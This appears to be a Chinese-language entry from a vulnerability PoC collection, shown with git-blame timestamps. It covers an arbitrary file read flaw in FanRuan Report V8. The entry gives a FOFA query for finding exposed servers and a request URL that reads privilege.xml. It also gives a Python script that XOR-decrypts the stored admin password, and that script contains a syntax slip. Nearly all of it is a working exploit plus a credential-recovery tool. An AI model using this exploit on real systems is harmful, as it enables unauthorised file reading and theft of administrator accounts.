2023-08-23 12:49:03 +08:00
|
|
|
## 帆软报表 V8 get_geo_json 任意文件读取漏洞
|
|
|
|
|
|
2023-12-14 12:54:37 +08:00
|
|
|
## fofa
|
|
|
|
|
```
|
|
|
|
|
body="isSupportForgetPwd"
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## poc
|
2023-08-23 12:49:03 +08:00
|
|
|
```
|
|
|
|
|
WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
|
2023-12-14 12:54:37 +08:00
|
|
|
```
|
|
|
|
|
|
2023-08-23 12:49:03 +08:00
|
|
|
获得账号密码后进行解密,解密脚本如下
|
2023-12-14 12:54:37 +08:00
|
|
|
## 解密脚本
|
|
|
|
|
```python
|
2023-08-23 12:49:03 +08:00
|
|
|
cipher = 'XXXXXXXXXXX' #密文
|
|
|
|
|
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
|
|
|
|
|
Password = "" cipher = cipher[3:]
|
|
|
|
|
for i in range(int(len(cipher) / 4)):
|
|
|
|
|
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
|
|
|
|
|
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
|
|
|
|
|
Password = Password + chr(c2)
|
|
|
|
|
print (Password)
|
|
|
|
|
```
|